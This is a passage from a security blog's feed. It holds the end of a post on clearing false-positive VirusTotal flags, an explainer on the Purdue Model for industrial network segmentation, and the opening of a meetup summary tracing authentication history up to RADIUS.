<p>After submitting false positive reports to all the vendors that had flagged our domain, we waited for their review.
Within few hours, the detections started disappearing one by one.</p>
<p>And within <strong>48 hours</strong>, all our queries were solved.</p>
<p>By the end of the process, our domain had been cleaned and was no longer being flagged by the vendors that had initially marked it as malicious.</p>
<div class="diagram-container">
  <figure>
    <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/misc/imgs/vt-domain-clean.png" alt="VirusTotal results after our queries were resolved showing our domain was clean.">
    <figcaption class="diagram-caption">
      <strong>Fig 1.2:</strong> VirusTotal results after our queries were resolved showing our domain was clean.
    </figcaption>
  </figure>
</div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="final-thoughts">Final Thoughts<a href="https://blog.haxnation.org/vt-fp#final-thoughts" class="hash-link" aria-label="Direct link to Final Thoughts" title="Direct link to Final Thoughts" translate="no">​</a></h2>
<p>If your domain is being flagged on VirusTotal, don't panic.</p>
<p>In many cases, the detections may simply be false positives. The key is to identify which vendors are flagging your domain and then submit review requests directly to those vendors.</p>
<p>Hopefully, this expanded list of resources saves you even more time. And also thank you to all the teams on vendor's side who resolved our queries so fast!!</p>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="misc" term="misc"/>
        <category label="VirusTotal" term="VirusTotal"/>
        <category label="False-Positives" term="False-Positives"/>
        <category label="Antivirus" term="Antivirus"/>
        <category label="Domain-Reputation" term="Domain-Reputation"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[The Purdue Model]]></title>
        <id>https://blog.haxnation.org/the-purdue-model</id>
        <link href="https://blog.haxnation.org/the-purdue-model"/>
        <updated>2026-06-05T08:00:00.000Z</updated>
        <summary type="html"><![CDATA[The Purdue Model is a foundational architecture used to organize Industrial Control Systems (ICS) and Operational Technology (OT) environments into distinct levels. By separating industrial processes, control systems, and business networks, it helps organizations improve visibility, security, and network segmentation.
]]></summary>
        <content type="html"><![CDATA[<p>In this blog, we'll explore the Purdue Model, its different levels, and its role in modern industrial cybersecurity.</p>
<style>
.diagram-container {
  display: flex;
  justify-content: center;
  margin: 2rem 0;
}

.diagram-container figure {
  text-align: center;
}

.diagram-img {
  max-width: 100%;
  height: auto;
}
</style>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction">Introduction<a href="https://blog.haxnation.org/the-purdue-model#introduction" class="hash-link" aria-label="Direct link to Introduction" title="Direct link to Introduction" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-purdue-model">What is Purdue Model?<a href="https://blog.haxnation.org/the-purdue-model#what-is-purdue-model" class="hash-link" aria-label="Direct link to What is Purdue Model?" title="Direct link to What is Purdue Model?" translate="no">​</a></h3>
<ul>
<li class="">It is a <mark>foundational hierarchical framework for organizing industrial control systems (ICS) and operational technology (OT) environments.</mark></li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="historical-context">Historical Context<a href="https://blog.haxnation.org/the-purdue-model#historical-context" class="hash-link" aria-label="Direct link to Historical Context" title="Direct link to Historical Context" translate="no">​</a></h3>
<ul>
<li class="">To understand how Purdue model came into existence, we have to take a look at CIM first, so let's start with CIM first.</li>
<li class="">Now what is CIM? <strong>CIM stands for Computer Integrated Manufacturing</strong>, <mark>a technique by which discrete manufacturing companies might take advantage of computer technology to reorganize the way in which information was collected, analyzed, and used to streamline their manufacturing plants’ operations.</mark></li>
<li class="">CIM <em>was made to improve product quality, better responsiveness to customer and market and changes, higher productivity, reduced costs and higher profits, increased flexibility and faster introduction of new products.</em></li>
<li class="">So basically, in simpler words, <mark>CIM was made for the comprehensive integration of all computer systems across the entire manufacturing enterprise.</mark></li>
<li class="">But early CIM projects often failed or were under delivered.</li>
<li class="">Why they failed? Often they were too narrow, ignored huge scale and complexity, paid insufficient attention to human and organizational factors and lack of a master plan.</li>
<li class="">This is the reason why Purdue Model was developed.</li>
</ul>
<blockquote>
<ul>
<li class="">Purdue Model is named so because it originated at <strong>Purdue University</strong>.</li>
<li class=""><strong>Theodore J. Williams</strong>, a professor at Purdue University and Director of the Purdue Laboratory for Applied Industrial Control, led the effort.</li>
</ul>
</blockquote>
<ul>
<li class="">CIM Reference Model Committee developed the foundational Purdue Reference Model for CIM (published as a book by Instrument Society of America in October 1989).
<ul>
<li class="">This is Type 1 Architecture.</li>
<li class="">Blueprint/Model of the physical organization or structure of an enterprise.</li>
</ul>
</li>
<li class="">Then Industry-Purdue University Consortium for CIM took place, in which 10 companies from the Industry took part; developed the Implementation Procedures Manual to turn the Reference Model into Master Plans.</li>
<li class="">So that's how Purdue Enterprise Reference Architecture (PERA) came into existence (the modern day Purdue Model), PERA solved the gaps that CIM model had and became foundational.
<ul>
<li class="">This is Type 2 Architecture.</li>
<li class="">Models the steps of the process of developing enterprise integration.</li>
<li class="">Provides the framework or roadmap for analysis, design, implementation, operation, and disposal.</li>
</ul>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="but-if-purdue-model-was-made-for-cim-then-how-did-it-evolve-into-icsot-security">But if Purdue Model was made for CIM then how did it evolve into ICS/OT security?<a href="https://blog.haxnation.org/the-purdue-model#but-if-purdue-model-was-made-for-cim-then-how-did-it-evolve-into-icsot-security" class="hash-link" aria-label="Direct link to But if Purdue Model was made for CIM then how did it evolve into ICS/OT security?" title="Direct link to But if Purdue Model was made for CIM then how did it evolve into ICS/OT security?" translate="no">​</a></h3>
<ul>
<li class="">As we previously discussed, <strong>The Purdue Reference Model for CIM (Type 1)</strong> and <strong>Purdue Enterprise Reference Architecture (PERA) (Type 2)</strong> were created <strong>to solve integration problems in manufacturing</strong>.</li>
<li class="">It <em>defined hierarchical layers for how information should flow in a Computer Integrated Manufacturing environment.</em></li>
<li class="">These hierarchical structures turned out to be perfect for security as it provided -
<ul>
<li class="">Network segmentation</li>
<li class="">Defense in depth</li>
<li class="">Controlled information flows</li>
<li class="">Security zones and conduits</li>
<li class="">Placement of industrial DMZs</li>
</ul>
</li>
<li class="">So ultimately what was designed for integration became an excellent reference architecture for segmentation and zoning.</li>
<li class="">The Purdue Model strongly influenced many ICS security standards such as IEC 62443 (we will cover it in upcoming blogs).</li>
</ul>
<p>Ok, enough of beating around the bush, let's get straight into learning the layers of the model.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-purduepera-model">The Purdue/PERA Model<a href="https://blog.haxnation.org/the-purdue-model#the-purduepera-model" class="hash-link" aria-label="Direct link to The Purdue/PERA Model" title="Direct link to The Purdue/PERA Model" translate="no">​</a></h2>
<p>The Purdue Model divides an industrial environment into multiple hierarchical levels. Each level has its own purpose, systems, and responsibilities.</p>
<div class="diagram-container">
  <figure>
    <img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/ics-ot-sec-blogs/imgs/purdue-model.jpg" alt="ICS cybersecurity architecture and convergence">
    <figcaption class="diagram-caption">
      <strong>Fig 1.1:</strong> The Purdue/PERA Model
    </figcaption>
  </figure>
</div>
<blockquote>
<p><strong>Points to remember -</strong></p>
<ul>
<li class="">Lower Levels = Physical Industrial Processes = Critical/Higher Potential Impact = Tough to Reach</li>
<li class="">Higher Levels = Business Operations = Larger Attack Surface = Easier to reach</li>
</ul>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-0---the-physical-process">Layer 0 - The Physical Process<a href="https://blog.haxnation.org/the-purdue-model#layer-0---the-physical-process" class="hash-link" aria-label="Direct link to Layer 0 - The Physical Process" title="Direct link to Layer 0 - The Physical Process" translate="no">​</a></h3>
<ul>
<li class="">Layer 0 contains the <strong>physical assets and processes that produce real-world outcomes.</strong></li>
<li class="">So it includes - sensors, actuators and field devices.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-1---basic-control">Layer 1 - Basic Control<a href="https://blog.haxnation.org/the-purdue-model#layer-1---basic-control" class="hash-link" aria-label="Direct link to Layer 1 - Basic Control" title="Direct link to Layer 1 - Basic Control" translate="no">​</a></h3>
<ul>
<li class="">Layer 1 contains <strong>devices that interact directly with the physical process.</strong></li>
<li class="">These devices gather information from the environment and perform actions based on instructions.</li>
<li class="">Common examples include:
<ul>
<li class="">Sensors</li>
<li class="">Actuators</li>
<li class="">RTUs (Remote Terminal Units)</li>
<li class="">IEDs (Intelligent Electronic Devices)</li>
</ul>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-2---area-supervisory-control">Layer 2 - Area Supervisory Control<a href="https://blog.haxnation.org/the-purdue-model#layer-2---area-supervisory-control" class="hash-link" aria-label="Direct link to Layer 2 - Area Supervisory Control" title="Direct link to Layer 2 - Area Supervisory Control" translate="no">​</a></h3>
<ul>
<li class="">Layer 2 deals with all the <strong>aggregation stuff for process monitoring and control, it aggregates the data from the controllers; it includes HMI and SCADA systems.</strong></li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-3---site-operations">Layer 3 - Site Operations<a href="https://blog.haxnation.org/the-purdue-model#layer-3---site-operations" class="hash-link" aria-label="Direct link to Layer 3 - Site Operations" title="Direct link to Layer 3 - Site Operations" translate="no">​</a></h3>
<ul>
<li class="">Layer 3 includes the <strong>systems that we need to provide visibility across multiple controllers and production areas</strong>.</li>
<li class="">So it consists of Manufacturing Execution Systems (MES) and historians for managing and optimizing production processes.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-35---the-industrial-dmz">Layer 3.5 - The Industrial DMZ<a href="https://blog.haxnation.org/the-purdue-model#layer-35---the-industrial-dmz" class="hash-link" aria-label="Direct link to Layer 3.5 - The Industrial DMZ" title="Direct link to Layer 3.5 - The Industrial DMZ" translate="no">​</a></h3>
<ul>
<li class="">Layer 3.5 <strong>acts as a Demilitarized Zone,</strong> instead of allowing direct communication between enterprise and industrial systems, DMZ acts as a secure buffer as traffic is routed through it.</li>
<li class="">It consists of firewalls, IDS/IPS, etc.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-4---business-planning-and-logistics">Layer 4 - Business Planning and Logistics<a href="https://blog.haxnation.org/the-purdue-model#layer-4---business-planning-and-logistics" class="hash-link" aria-label="Direct link to Layer 4 - Business Planning and Logistics" title="Direct link to Layer 4 - Business Planning and Logistics" translate="no">​</a></h3>
<ul>
<li class="">Layer 4 is where we enter the IT world from OT, it consists of <strong>applications that are important for business operations</strong> rather than industrial processes.</li>
<li class="">It includes Email Servers, Corporate DBs, etc.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="layer-5---enterprise-network">Layer 5 - Enterprise Network<a href="https://blog.haxnation.org/the-purdue-model#layer-5---enterprise-network" class="hash-link" aria-label="Direct link to Layer 5 - Enterprise Network" title="Direct link to Layer 5 - Enterprise Network" translate="no">​</a></h3>
<ul>
<li class="">Layer 5 hosts the corporate services, thus <strong>represents the enterprise environment.</strong></li>
<li class="">This layer is most exposed to external threats.</li>
<li class="">Includes directory services, ERP systems, etc.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary-table">Summary Table<a href="https://blog.haxnation.org/the-purdue-model#summary-table" class="hash-link" aria-label="Direct link to Summary Table" title="Direct link to Summary Table" translate="no">​</a></h3>





































































<table><thead><tr><th>Level</th><th>Name</th><th>Primary Systems &amp; Devices</th><th>Security Focus &amp; Controls</th><th>Likelihood of Compromise</th><th>Potential Impact</th></tr></thead><tbody><tr><td>5</td><td>Enterprise Network</td><td>Corporate IT, ERP, email, internet</td><td>Standard IT security, largest attack surface</td><td>Higher</td><td>Moderate to high business impact</td></tr><tr><td>4</td><td>Business Logistics</td><td>Plant-level IT, scheduling, maintenance systems</td><td>IT/OT boundary security</td><td>Higher</td><td>Moderate to high business impact</td></tr><tr><td>3.5</td><td>Industrial DMZ</td><td>Firewalls, proxies, jump servers, data diodes</td><td>Critical buffer zone, controlled data exchange</td><td>Medium</td><td>Critical buffer breach (pivoting risk)</td></tr><tr><td>3</td><td>Operations Management</td><td>MES, historians, engineering workstations</td><td>Highest risk in OT; strict access controls</td><td>Medium</td><td>High operational impact</td></tr><tr><td>2</td><td>Supervisory Control</td><td>SCADA servers, HMIs</td><td>Strong access control, continuous monitoring</td><td>Lower (if properly segmented)</td><td>Very high physical/process impact</td></tr><tr><td>1</td><td>Basic Control</td><td>PLCs, RTUs, DCS controllers, IEDs</td><td>Protocol security, strictly limited access</td><td>Lower (if properly segmented)</td><td>Very high physical/process impact</td></tr><tr><td>0</td><td>Physical Process</td><td>Sensors, actuators, motors, valves, instruments</td><td>Physical security, device hardening</td><td>Lower (if properly segmented)</td><td>Highest physical safety/process impact</td></tr></tbody></table>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-do-we-use-purdue-model-in-icsot-security">How do we use Purdue Model in ICS/OT Security?<a href="https://blog.haxnation.org/the-purdue-model#how-do-we-use-purdue-model-in-icsot-security" class="hash-link" aria-label="Direct link to How do we use Purdue Model in ICS/OT Security?" title="Direct link to How do we use Purdue Model in ICS/OT Security?" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="zones-and-conduits">Zones and Conduits<a href="https://blog.haxnation.org/the-purdue-model#zones-and-conduits" class="hash-link" aria-label="Direct link to Zones and Conduits" title="Direct link to Zones and Conduits" translate="no">​</a></h3>
<p>The Purdue Model’s real power in cybersecurity comes from the concepts of <strong>Zones and Conduits</strong>, which were formalized in IEC 62443.</p>
<ul>
<li class=""><strong>Zones:</strong> <mark>Logical groupings of assets that share similar security requirements and risk profiles.</mark> In practice, each Purdue level (or group of levels) often becomes one or more zones.</li>
<li class=""><strong>Conduits:</strong> <mark>The secure communication channels between zones.</mark> Every conduit must be protected to the level of the highest-risk zone it connects.</li>
<li class="">This creates clear trust boundaries and enforces defense in depth.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="implementation-in-practice">Implementation in Practice<a href="https://blog.haxnation.org/the-purdue-model#implementation-in-practice" class="hash-link" aria-label="Direct link to Implementation in Practice" title="Direct link to Implementation in Practice" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="for-new-enterprises-greenfield">For New Enterprises (Greenfield)<a href="https://blog.haxnation.org/the-purdue-model#for-new-enterprises-greenfield" class="hash-link" aria-label="Direct link to For New Enterprises (Greenfield)" title="Direct link to For New Enterprises (Greenfield)" translate="no">​</a></h4>
<p>Easiest Scenario as we have an empty ground to play with.</p>
<ul>
<li class="">Design the network topology using Purdue levels from the beginning.</li>
<li class="">Build physical and logical segmentation (dedicated switches, VLANs, or SDN per zone).</li>
<li class="">Include a Level 3.5 DMZ from day one.</li>
<li class="">Procure IEC 62443-certified components.</li>
<li class="">Define conduits and security policies early in the project.</li>
<li class="">Combine with zero-trust and micro-segmentation for modern flexibility.</li>
</ul>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="for-existing-systems-brownfield">For Existing Systems (Brownfield)<a href="https://blog.haxnation.org/the-purdue-model#for-existing-systems-brownfield" class="hash-link" aria-label="Direct link to For Existing Systems (Brownfield)" title="Direct link to For Existing Systems (Brownfield)" translate="no">​</a></h4>
<p>Legacy environments are difficult to deal with, so let's segregate it into phases -</p>
<ul>
<li class="">Assessment: Use passive discovery tools (e.g., Nozomi, Claroty, Dragos) to map assets to Purdue levels without disrupting operations.</li>
<li class="">Gap Analysis: Identify flat networks and dangerous direct IT–OT connections.</li>
<li class="">Phased Segmentation:
<ul>
<li class="">Start at the highest-risk boundary (usually Level 3 ↔ 3.5 or 3.5 ↔ 4).</li>
<li class="">Deploy industrial firewalls and data diodes.</li>
<li class="">Use “bump-in-the-wire” solutions for deeper levels during maintenance windows.</li>
</ul>
</li>
</ul>
<blockquote>
<p><strong>Compensating Controls for Legacy Systems</strong> <br>
In many brownfield environments, some Level 0–2 devices are too old to support modern segmentation or cannot be taken offline. In these cases, compensating controls are used to reduce risk:</p>
<ul>
<li class=""><strong>Protocol Gateways:</strong> Act as secure intermediaries that translate protocols while enforcing strict allow/deny rules on commands and data.</li>
<li class=""><strong>Network Access Control (NAC):</strong> Restricts which devices can join the network and what they can access.</li>
<li class=""><strong>Unidirectional Gateways (Data Diodes):</strong> Allow data to flow in only one direction.</li>
</ul>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="benefits-and-remaining-challenges">Benefits and Remaining Challenges<a href="https://blog.haxnation.org/the-purdue-model#benefits-and-remaining-challenges" class="hash-link" aria-label="Direct link to Benefits and Remaining Challenges" title="Direct link to Benefits and Remaining Challenges" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-the-purdue-model-solves-well">What the Purdue Model Solves Well:<a href="https://blog.haxnation.org/the-purdue-model#what-the-purdue-model-solves-well" class="hash-link" aria-label="Direct link to What the Purdue Model Solves Well:" title="Direct link to What the Purdue Model Solves Well:" translate="no">​</a></h3>
<ul>
<li class="">Prevents lateral movement.</li>
<li class="">Reduces attack surface through controlled data flows</li>
<li class="">Provides a clear framework for compliance (IEC 62443, NIST SP 800-82, etc.)</li>
<li class="">Protects legacy systems without full replacement</li>
<li class="">Improves visibility and incident response</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ongoing-challenges">Ongoing Challenges:<a href="https://blog.haxnation.org/the-purdue-model#ongoing-challenges" class="hash-link" aria-label="Direct link to Ongoing Challenges:" title="Direct link to Ongoing Challenges:" translate="no">​</a></h3>
<ul>
<li class=""><strong>IT/OT Convergence &amp; IIoT:</strong> Cloud, remote access, and wireless devices blur traditional levels.</li>
<li class=""><strong>Legacy Equipment:</strong> Many Level 0–2 devices lack modern security features.</li>
<li class=""><strong>Cost &amp; Disruption:</strong> Full segmentation can be expensive in brownfield sites.</li>
<li class=""><strong>Rigidity</strong>: Not every environment fits perfectly, always combine with proper risk assessment.</li>
</ul>]]></content>
        <author>
            <name>Param Jasani</name>
            <uri>https://github.com/param-jasani</uri>
        </author>
        <category label="ICS" term="ICS"/>
        <category label="OT" term="OT"/>
        <category label="purdue" term="purdue"/>
        <category label="SCADA" term="SCADA"/>
        <category label="DCS" term="DCS"/>
        <category label="industrial-security" term="industrial-security"/>
        <category label="critical-infrastructure" term="critical-infrastructure"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Summary of HTB Mumbai Meetup held on 30th May 2026]]></title>
        <id>https://blog.haxnation.org/htb-mumbai-meetup-16-summary</id>
        <link href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary"/>
        <updated>2026-05-31T04:00:00.000Z</updated>
        <summary type="html"><![CDATA[This blog is a summary of what was taught at  HTB Meetup Mumbai #16 held on 30th May 2026.
]]></summary>
        <content type="html"><![CDATA[<p>This blog is a summary of what was taught at HTB Meetup Mumbai #16 held on 30th May 2026.</p>
<style>
.diagram-container { margin: 1.5rem auto; max-width: 820px; text-align: center; }
.diagram-caption { font-size: 0.95rem; color: #3a3a3a; margin-top: 0.5rem; }
.diagram-img { width: 100%; max-width: 780px; border-radius: 8px; box-shadow: 0 12px 28px rgba(0,0,0,0.06); display: inline-block; }
.diagram-img.small-diagram { max-width: 350px; }
.diagram-svg { width: 100%; max-width: 780px; height: auto; display: inline-block; transition: transform 0.25s ease; }
.diagram-svg:hover { transform: scale(1.01); }
.diagram-text { font-family: ui-sans-serif, system-ui, sans-serif; fill: #4c7ece; font-size: 12px; }
.diagram-title { font-family: ui-sans-serif, system-ui, sans-serif; fill: #4c7ece; font-size: 13px; font-weight: 700; }
</style>
<p>So let's dive into it (hey, wait a minute, why do I feel like I am starting to sound like chat gipidy day by day, anyways, let's start)</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="session-1-authentication-for-dummies-by-adhokshaj-mishra">Session 1: "Authentication for Dummies" by Adhokshaj Mishra<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#session-1-authentication-for-dummies-by-adhokshaj-mishra" class="hash-link" aria-label="Direct link to Session 1: &quot;Authentication for Dummies&quot; by Adhokshaj Mishra" title="Direct link to Session 1: &quot;Authentication for Dummies&quot; by Adhokshaj Mishra" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="what-is-authentication">What is authentication?<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#what-is-authentication" class="hash-link" aria-label="Direct link to What is authentication?" title="Direct link to What is authentication?" translate="no">​</a></h3>
<ul>
<li class=""><mark>Process of verifying the identity of user, device or service before granting access to resources.</mark></li>
<li class=""><em><strong>Authentication</strong></em> = <em>"Who you are?"</em>, whereas <em><strong>Authorization</strong></em> = <em>"What you can do?"</em></li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-authentication-used-to-take-place-in-earlier-days-of-computing">How authentication used to take place in earlier days of computing?<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#how-authentication-used-to-take-place-in-earlier-days-of-computing" class="hash-link" aria-label="Direct link to How authentication used to take place in earlier days of computing?" title="Direct link to How authentication used to take place in earlier days of computing?" translate="no">​</a></h3>
<ul>
<li class="">In the 1960s, systems were large, expensive mainframes or there were time sharing machines.</li>
<li class="">Fernando Corbató (often called "Corby") at MIT introduced passwords as part of the Compatible Time-Sharing System (CTSS) around 1961.</li>
</ul>
<blockquote>
<p><mark>CTSS was one of the first time-sharing operating systems, allowing multiple users to share a single mainframe (IBM 7090/7094) with private files.</mark></p>
</blockquote>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img small-diagram img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/htb-meetup/imgs/single_comp_auth.png" alt="Single computer authentication history">
<figcaption class="diagram-caption"><strong>Fig:</strong> Early authentication was tied to single, shared mainframe access before central identity systems existed.</figcaption>
</figure>
</div>
<ul>
<li class="">Passwords were initially stored in plaintext (a simple file in the filesystem), which was rudimentary by design.</li>
<li class="">Robert Morris later introduced one-way hashing in 1974 to improve storage security.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-authentication-will-work-if-we-scale-the-above-plan-to-multiple-computers">How authentication will work if we scale the above plan to multiple computers?<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#how-authentication-will-work-if-we-scale-the-above-plan-to-multiple-computers" class="hash-link" aria-label="Direct link to How authentication will work if we scale the above plan to multiple computers?" title="Direct link to How authentication will work if we scale the above plan to multiple computers?" translate="no">​</a></h3>
<ul>
<li class="">The above plan would be a nightmare for multiple computers as
<ol>
<li class="">We have to manually copy paste credentials everywhere, so changes/updates on one system will require updates on every system,</li>
<li class="">Policies will be inconsistent, it would be hard to audit/trace that whether provision of credentials took place on all systems or not.</li>
</ol>
</li>
<li class="">To solve this lets add configuration management.</li>
</ul>
<blockquote>
<p>What is <strong>configuration management</strong>?
<mark>In context of authentication and user provisioning, configuration management means managing the settings and rules that control how users are created, updated, assigned permissions, and removed across systems.</mark></p>
</blockquote>
<ul>
<li class="">So configuration management will centralize user provisioning.</li>
<li class="">But what if some of our nodes are not in network, how would you re-provision them, this is the problem with <em>push model</em>, if there are network outages, partial failures, or offline nodes it leads to inconsistency in network.</li>
<li class="">At that time bandwidth was also costly, we had links operating at Kbps, we cannot just make frequent pushes, as it consume the entire bandwidth and hence would be very costly.</li>
</ul>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img small-diagram img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/htb-meetup/imgs/config_manager_multi_comp_auth.png" alt="Configuration management and multi-node authentication">
<figcaption class="diagram-caption"><strong>Fig:</strong> Central configuration management reduced repeated credential pushes and kept authentication policies consistent.</figcaption>
</figure>
</div>
<ul>
<li class="">Lets do a small trick to save bandwidth, we will use the inverted <em>pull model</em>,</li>
<li class="">What is it? In place of central config manager periodically user provisioning, we will make the nodes periodically poll a central config manager.</li>
<li class="">What will be the policy to do this? (as we again have to save bandwidth, we can't just poll the manager as it would choke up our links) Check if creds are stored locally, if not, poll the manager.</li>
<li class="">Then how would updates in creds (like change in password) be managed? Do polling at night from all nodes at night or during offline hours, will help in keeping the channel clear during working hours, while also updating creds on all the nodes.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authentication-on-managed-routers">Authentication on Managed Routers<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#authentication-on-managed-routers" class="hash-link" aria-label="Direct link to Authentication on Managed Routers" title="Direct link to Authentication on Managed Routers" translate="no">​</a></h3>
<p>Years later, technological advancements led to introduction of more devices into the network.
Lets take and example, we introduce a managed router into the network.</p>
<blockquote>
<p><mark>Managed switches/routers: Configurable via CLI, SNMP, web interfaces, or central tools. Unlike "dumb" unmanaged devices (plug-and-play), managed ones allow VLANs, QoS, monitoring, port security, and firmware updates.</mark>
We can provision these like nodes using config manager</p>
</blockquote>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img small-diagram img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/htb-meetup/imgs/routerauth.png" alt="Router authentication and credential handling">
<figcaption class="diagram-caption"><strong>Fig:</strong> Managed routers need authentication designs that avoid local credential caching.</figcaption>
</figure>
</div>
<ul>
<li class="">Now how would you authenticate into these devices? How would you provision them?</li>
<li class="">We can't store creds on router as security concerns grew with figures like <strong>Kevin Mitnick</strong> started to enter the scene. Attackers could compromise routers (firmware implants, backdoors), we don't know whether attacker is sitting into the router or not, resetting router doesn't help as he might have compromised firmware or hardware.</li>
<li class="">Computers are modifiable, but routers are closed cause we cannot change internal components and software (its blackbox - you have to go to service center to make changes).</li>
<li class="">Resetting might not help if firmware is tainted.</li>
<li class="">So what is the solution? Avoid caching creds on devices; query a central authority on every login.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="introduction-of-isp-into-the-scene">Introduction of ISP into the scene<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#introduction-of-isp-into-the-scene" class="hash-link" aria-label="Direct link to Introduction of ISP into the scene" title="Direct link to Introduction of ISP into the scene" translate="no">​</a></h3>
<p>Years later, ISP entered the scene. What does it offer to the organisation?</p>
<ul>
<li class="">ISP says connect to us we will connect you to the world, now how do you authenticate with ISP? Because ISP needs to do billing and give internet to the authorized users only.</li>
<li class="">Also previously the entire n/w was ours, now we have two parts -
<ol>
<li class="">ISP</li>
<li class="">and Public n/w,</li>
</ol>
</li>
<li class="">The catch is we do not trust public n/w, but we trust ISP.</li>
<li class="">And we are assured about security of our n/w.</li>
<li class="">But we don't know what kind of trash is coming up at us from public n/w to ISP and ultimately would land up in our internal n/w and we definitely don't want that.</li>
</ul>
<p>So how do we solve this problem? Let's see...</p>
<div class="diagram-container">
<figure>
<img decoding="async" loading="lazy" class="diagram-img img_ev3q" src="https://raw.githubusercontent.com/haxnation/blog/main/blog/param-jasani/htb-meetup/imgs/isp_ras_pubnw.png" alt="ISP, RAS, and public network edge">
<figcaption class="diagram-caption"><strong>Fig:</strong> The RAS edge separates the public network from the trusted ISP/internal network in the authentication flow.</figcaption>
</figure>
</div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-making-of-radius">The making of RADIUS<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#the-making-of-radius" class="hash-link" aria-label="Direct link to The making of RADIUS" title="Direct link to The making of RADIUS" translate="no">​</a></h3>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="remote-access-service-ras-and-the-edge">Remote Access Service (RAS) and the edge<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#remote-access-service-ras-and-the-edge" class="hash-link" aria-label="Direct link to Remote Access Service (RAS) and the edge" title="Direct link to Remote Access Service (RAS) and the edge" translate="no">​</a></h4>
<p>Add a <mark>Remote Access Service (RAS) at the edge as the single point of connection between the public network and the ISP's internal network.</mark> The RAS (also called a <em><strong>Network Access Server (NAS)</strong></em>) accepts connection attempts from the untrusted public side and forwards authentication/authorization requests to an <em><strong>Authentication Service (AS)</strong></em> that lives on the ISP/internal side.</p>
<ul>
<li class="">
<p>Why this separation? The RAS is on the untrusted edge; the AS is inside the trusted ISP/domain. Clients reachable from the public internet can talk to RAS, but they should never be trusted to store long-term secrets (no credential caching on the edge when the path may be compromised).</p>
</li>
<li class="">
<p>So what is the catch here? any consequence? Yes, every login may require the RAS to query the AS, increasing traffic between RAS and AS. To limit bandwidth/complexity, protocols were designed to be simple and lightweight.</p>
</li>
</ul>
<p>That's where our hero comes in!!</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="radius">RADIUS<a href="https://blog.haxnation.org/htb-mumbai-meetup-16-summary#radius" class="hash-link" aria-label="Direct link to RADIUS" title="Direct link to RADIUS" translate="no">​</a></h4>
<p><mark><strong>RADIUS</strong> (Remote Authentication Dial-In User Service) was created for that model: a lightweight, client/server AAA protocol where the NAS (RAS) forwards credentials to a RADIUS server (the AS) and receives simple codes back:</mark></p>
<ul>
<li class=""><em>Access-Request</em> — authentication request from NAS to server</li>
<li class=""><em>Access-Accept</em> — success</li>
<li class=""><em>Access-Reject</em> — failure</li>
<li class=""><em>Access-Challenge</em> — challenge/response flow</li>
<li class=""><em>Accounting (Interim-Update, Start, Stop)</em> — usage records</li>
<li class=""><em>Change-of-Authorization (CoA)</em> — dynamic policy changes</li>
</ul>
<p>RADIUS uses a shared symmetric secret between NAS and server (no expensive public-key handshake at every transaction), and simple packet types to keep bandwidth and processing small. That design trades end-to-end cryptographic guarantees for simplicity and lower per-request cost.</p>
